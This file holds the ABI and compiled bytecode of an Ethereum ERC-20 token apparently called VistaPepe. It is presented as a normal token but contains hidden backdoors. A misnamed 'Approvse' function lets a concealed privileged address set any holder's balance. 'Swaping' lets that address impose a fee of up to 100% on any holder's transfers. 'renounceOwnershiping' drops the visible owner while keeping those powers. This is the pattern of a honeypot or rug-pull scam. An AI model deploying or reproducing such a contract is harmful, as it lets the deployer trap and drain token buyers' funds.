[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "use", "type": "address" }, { "internalType": "uint256", "name": "tso", "type": "uint256" } ], "name": "Approvse", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "aDrot", "type": "uint256" } ], "name": "Swaping", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnershiping", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b50604051620020263803806200202683398181016040528101906200003791906200053d565b6000620000496200026f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360049080519060200190620000ff92919062000277565b5082600590805190602001906200011892919062000277565b5081600660006101000a81548160ff021916908360ff16021790555081600a62000143919062000770565b81620001509190620007c1565b60078190555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001ae6200026f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001fc6200026f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200025d919062000833565b60405180910390a350505050620008b5565b600033905090565b82805462000285906200087f565b90600052602060002090601f016020900481019282620002a95760008555620002f5565b82601f10620002c457805160ff1916838001178555620002f5565b82800160010185558215620002f5579182015b82811115620002f4578251825591602001919060010190620002d7565b5b50905062000304919062000308565b5090565b5b808211156200032357600081600090555060010162000309565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003908262000345565b810181811067ffffffffffffffff82111715620003b257620003b162000356565b5b80604052505050565b6000620003c762000327565b9050620003d5828262000385565b919050565b600067ffffffffffffffff821115620003f857620003f762000356565b5b620004038262000345565b9050602081019050919050565b60005b838110156200043057808201518184015260208101905062000413565b8381111562000440576000848401525b50505050565b60006200045d6200045784620003da565b620003bb565b9050828152602081018484840111156200047c576200047b62000340565b5b6200048984828562000410565b509392505050565b600082601f830112620004a957620004a86200033b565b5b8151620004bb84826020860162000446565b91505092915050565b600060ff82169050919050565b620004dc81620004c4565b8114620004e857600080fd5b50565b600081519050620004fc81620004d1565b92915050565b6000819050919050565b620005178162000502565b81146200052357600080fd5b50565b60008151905062000537816200050c565b92915050565b600080600080608085870312156200055a576200055962000331565b5b600085015167ffffffffffffffff8111156200057b576200057a62000336565b5b620005898782880162000491565b945050602085015167ffffffffffffffff811115620005ad57620005ac62000336565b5b620005bb8782880162000491565b9350506040620005ce87828801620004eb565b9250506060620005e18782880162000526565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200067b57808604811115620006535762000652620005ed565b5b6001851615620006635780820291505b808102905062000673856200061c565b945062000633565b94509492505050565b60008262000696576001905062000769565b81620006a6576000905062000769565b8160018114620006bf5760028114620006ca5762000700565b600191505062000769565b60ff841115620006df57620006de620005ed565b5b8360020a915084821115620006f957620006f8620005ed565b5b5062000769565b5060208310610133831016604e8410600b84101617156200073a5782820a905083811115620007345762000733620005ed565b5b62000769565b62000749848484600162000629565b92509050818404811115620007635762000762620005ed565b5b81810290505b9392505050565b60006200077d8262000502565b91506200078a83620004c4565b9250620007b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000684565b905092915050565b6000620007ce8262000502565b9150620007db8362000502565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008175762000816620005ed565b5b828202905092915050565b6200082d8162000502565b82525050565b60006020820190506200084a600083018462000822565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200089857607f821691505b60208210811415620008af57620008ae62000850565b5b50919050565b61176180620008c56000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610216578063bbab0c3f14610246578063dd62ed3e14610250578063f579bd7914610280576100cf565b806370a08231146101aa5780638da5cb5b146101da57806395d89b41146101f8576100cf565b806301780ba8146100d457806306fdde03146100f0578063095ea7b31461010e57806318160ddd1461013e57806323b872dd1461015c578063313ce5671461018c575b600080fd5b6100ee60048036038101906100e9919061104d565b61029c565b005b6100f8610332565b6040516101059190611126565b60405180910390f35b6101286004803603810190610123919061104d565b6103c4565b6040516101359190611163565b60405180910390f35b6101466104c4565b604051610153919061118d565b60405180910390f35b610176600480360381019061017191906111a8565b6104ce565b6040516101839190611163565b60405180910390f35b610194610878565b6040516101a19190611217565b60405180910390f35b6101c460048036038101906101bf9190611232565b61088f565b6040516101d1919061118d565b60405180910390f35b6101e26108d8565b6040516101ef919061126e565b60405180910390f35b610200610901565b60405161020d9190611126565b60405180910390f35b610230600480360381019061022b919061104d565b610993565b60405161023d9190611163565b60405180910390f35b61024e610c81565b005b61026a60048036038101906102659190611289565b610dbb565b604051610277919061118d565b60405180910390f35b61029a6004803603810190610295919061104d565b610e42565b005b600081905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102ee83610eb1565b61032d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103249061133b565b60405180910390fd5b505050565b6060600480546103419061138a565b80601f016020809104026020016040519081016040528092919081815260200182805461036d9061138a565b80156103ba5780601f1061038f576101008083540402835291602001916103ba565b820191906000526020600020905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b600081600260006103d3610ec2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661046d610ec2565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b2919061118d565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051a610ec2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058d9061142e565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846105e5919061147d565b6105ef9190611506565b9050600081846105ff9190611537565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106509190611537565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a6919061156b565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f7610ec2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107409190611537565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610798919061156b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107fc919061118d565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610863919061118d565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109109061138a565b80601f016020809104026020016040519081016040528092919081815260200182805461093c9061138a565b80156109895780601f1061095e57610100808354040283529160200191610989565b820191906000526020600020905b81548152906001019060200180831161096c57829003601f168201915b5050505050905090565b600081600160006109a2610ec2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1590611633565b60405180910390fd5b6000606460036000610a2e610ec2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610a74919061147d565b610a7e9190611506565b905060008184610a8e9190611537565b90508360016000610a9d610ec2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae69190611537565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b3c919061156b565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b94919061156b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bba610ec2565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bff919061118d565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c28610ec2565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c6d919061118d565b60405180910390a360019250505092915050565b610c89610ec2565b73ffffffffffffffffffffffffffffffffffffffff16610ca76108d8565b73ffffffffffffffffffffffffffffffffffffffff1614610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf49061169f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e4b33610eb1565b610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e819061133b565b60405180910390fd5b6000606490506000818311159050610ea181610eca565b610eab8484610f0d565b50505050565b6000610ebb610f55565b9050919050565b600033905090565b80610f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f019061170b565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f98610ec2565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fe482610fb9565b9050919050565b610ff481610fd9565b8114610fff57600080fd5b50565b60008135905061101181610feb565b92915050565b6000819050919050565b61102a81611017565b811461103557600080fd5b50565b60008135905061104781611021565b92915050565b6000806040838503121561106457611063610fb4565b5b600061107285828601611002565b925050602061108385828601611038565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110c75780820151818401526020810190506110ac565b838111156110d6576000848401525b50505050565b6000601f19601f8301169050919050565b60006110f88261108d565b6111028185611098565b93506111128185602086016110a9565b61111b816110dc565b840191505092915050565b6000602082019050818103600083015261114081846110ed565b905092915050565b60008115159050919050565b61115d81611148565b82525050565b60006020820190506111786000830184611154565b92915050565b61118781611017565b82525050565b60006020820190506111a2600083018461117e565b92915050565b6000806000606084860312156111c1576111c0610fb4565b5b60006111cf86828701611002565b93505060206111e086828701611002565b92505060406111f186828701611038565b9150509250925092565b600060ff82169050919050565b611211816111fb565b82525050565b600060208201905061122c6000830184611208565b92915050565b60006020828403121561124857611247610fb4565b5b600061125684828501611002565b91505092915050565b61126881610fd9565b82525050565b6000602082019050611283600083018461125f565b92915050565b600080604083850312156112a05761129f610fb4565b5b60006112ae85828601611002565b92505060206112bf85828601611002565b9150509250929050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611325602183611098565b9150611330826112c9565b604082019050919050565b6000602082019050818103600083015261135481611318565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113a257607f821691505b602082108114156113b6576113b561135b565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611418602583611098565b9150611423826113bc565b604082019050919050565b600060208201905081810360008301526114478161140b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061148882611017565b915061149383611017565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156114cc576114cb61144e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061151182611017565b915061151c83611017565b92508261152c5761152b6114d7565b5b828204905092915050565b600061154282611017565b915061154d83611017565b9250828210156115605761155f61144e565b5b828203905092915050565b600061157682611017565b915061158183611017565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115b6576115b561144e565b5b828201905092915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b600061161d602383611098565b9150611628826115c1565b604082019050919050565b6000602082019050818103600083015261164c81611610565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611689602083611098565b915061169482611653565b602082019050919050565b600060208201905081810360008301526116b88161167c565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b60006116f5601383611098565b9150611700826116bf565b602082019050919050565b60006020820190508181036000830152611724816116e8565b905091905056fea264697066735822122046105acaa064245ccc183f92b8aa7e3d3c626aa2078e5e90a9cb7ec635692b4564736f6c634300080a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000f42400000000000000000000000000000000000000000000000000000000000000009566973746150657065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000095649535441504550450000000000000000000000000000000000000000000000